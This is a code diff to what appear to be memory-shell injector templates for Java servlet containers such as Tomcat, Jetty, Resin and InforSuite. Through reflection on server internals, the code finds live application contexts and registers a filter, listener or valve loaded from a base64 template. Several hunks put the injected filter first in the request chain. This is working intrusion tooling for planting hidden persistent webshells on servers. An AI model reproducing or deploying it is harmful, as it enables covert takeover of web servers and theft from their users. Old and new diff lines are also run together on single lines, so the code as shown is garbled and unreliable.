Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
Object filterMap = filterMapClass.newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
// addFilterMapFirst
try { try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); Object filterMaps = getFieldValue(context, "filterMaps");
if (filterMaps instanceof List) {
// InforSuite9
((List<Object>) filterMaps).add(0, filterMap);
}
} catch (Exception e) { } catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); // InforSuite10
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
} }
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
@@ -192,52 +203,54 @@ public class InforSuiteFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String fieldName) throws Exception { public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, fieldName); for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} }
@SuppressWarnings("all")
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException { public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Class<?> clazz = obj.getClass(); Field field = getField(obj, fieldName);
while (clazz != null) { field.setAccessible(true);
try { field.set(obj, value);
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -44,7 +42,7 @@ public class JettyFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -86,68 +84,53 @@ public class JettyFilterInjector {
return; return;
} }
String[] classNames = new String[]{ String[][] filterHolderClassNames = new String[][]{
"org.eclipse.jetty.servlet.FilterHolder", new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
"org.eclipse.jetty.ee8.servlet.FilterHolder", new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
"org.eclipse.jetty.ee9.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
"org.eclipse.jetty.ee10.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
"org.eclipse.jetty.ee11.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
"org.mortbay.jetty.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
}; };
Class<?> filterHolderClass = null; Class<?> filterHolderClass = null;
Class<?> filterMappingClass = null;
for (String className : classNames) { for (String[] classNames : filterHolderClassNames) {
try { try {
filterHolderClass = context.getClass().getClassLoader().loadClass(className); filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
} }
if (filterHolderClass == null) { if (filterHolderClass == null || filterMappingClass == null) {
throw new ClassNotFoundException("FilterHodler"); throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
} }
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class); Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filter.getClass()); Object filterHolder = constructor.newInstance(filter.getClass());
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
moveFilterToFirst(servletHandler);
invokeMethod(servletHandler, "invalidateChainsCache");
}
private void moveFilterToFirst(Object servletHandler) throws Exception { invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
int filterLength;
if (filterMaps.getClass().isArray()) { Object filterMapping = filterMappingClass.getConstructor().newInstance();
filterLength = Array.getLength(filterMaps); invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
for (int i = 0; i < filterLength; i++) { invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
Object filter = Array.get(filterMaps, i); invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) { Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
reorderedFilters.add(0, filter); Object[] newMappings = null;
} else { int length = Array.getLength(mappings);
reorderedFilters.add(filter); if (mappings == null || length == 0) {
} newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
} } else {
for (int i = 0; i < filterLength; i++) { newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
Array.set(filterMaps, i, reorderedFilters.get(i)); System.arraycopy(mappings, 0, newMappings, 1, length);
}
} else if (filterMaps instanceof ArrayList) {
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
for (Object filter : filterList) {
String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) {
reorderedFilters.add(0, filter);
} else {
reorderedFilters.add(filter);
}
}
filterList.clear();
filterList.addAll(reorderedFilters);
} }
newMappings[0] = filterMapping;
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
invokeMethod(servletHandler, "invalidateChainsCache");
} }
@Override @Override
@@ -29,7 +29,7 @@ public class JettyListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -42,7 +42,7 @@ public class JettyServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -39,7 +39,7 @@ public class ResinFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -136,6 +136,11 @@ public class ResinFilterInjector {
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(urlPattern, "init", null, null); invokeMethod(urlPattern, "init", null, null);
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
filterMappings.remove(filterMappingImpl);
filterMappings.add(0, filterMappingImpl);
invokeMethod(context, "clearCache", null, null); invokeMethod(context, "clearCache", null, null);
} }
@@ -193,30 +198,25 @@ public class ResinFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -38,7 +38,7 @@ public class ResinListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -182,30 +182,25 @@ public class ResinListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -40,7 +40,7 @@ public class ResinServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -183,30 +183,25 @@ public class ResinServletInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -42,7 +43,7 @@ public class TomcatFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -60,6 +61,47 @@ public class TomcatFilterInjector {
System.out.println(msg); System.out.println(msg);
} }
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -76,34 +118,6 @@ public class TomcatFilterInjector {
} }
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
@@ -137,15 +151,18 @@ public class TomcatFilterInjector {
} }
Object filterDef; Object filterDef;
Object filterMap; Object filterMap;
Class<?> filterMapClass;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
// tomcat v8+ // tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e2) { } catch (Exception e2) {
// tomcat v5+ // tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -163,11 +180,17 @@ public class TomcatFilterInjector {
// tomcat v5 // tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} }
// addFilterMapFirst
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
try { try {
// v7.0.0 以上 // Tomcat5
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); setFieldValue(context, "filterMaps", results);
} catch (Exception e) { } catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
} }
Constructor filterConfigConstructor; Constructor filterConfigConstructor;
@@ -239,20 +262,34 @@ public class TomcatFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass(); for (Class<?> clazz = obj.getClass();
while (clazz != Object.class) { clazz != Object.class;
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); return clazz.getDeclaredField(name);
field.setAccessible(true); } catch (NoSuchFieldException ignored) {
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) { private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null; PrintStream printStream = null;
@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -53,6 +53,43 @@ public class TomcatListenerInjector {
System.out.println(msg); System.out.println(msg);
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -70,32 +107,7 @@ public class TomcatListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -214,30 +226,25 @@ public class TomcatListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -8,7 +8,9 @@ import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -21,6 +23,14 @@ public class TomcatProxyValveInjector implements InvocationHandler {
private static String msg = ""; private static String msg = "";
private static boolean ok = false; private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public TomcatProxyValveInjector() { public TomcatProxyValveInjector() {
if (ok) { if (ok) {
return; return;
@@ -31,7 +41,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -49,36 +59,11 @@ public class TomcatProxyValveInjector implements InvocationHandler {
System.out.println(msg); System.out.println(msg);
} }
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) { public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
this.rawValve = rawValve; this.rawValve = rawValve;
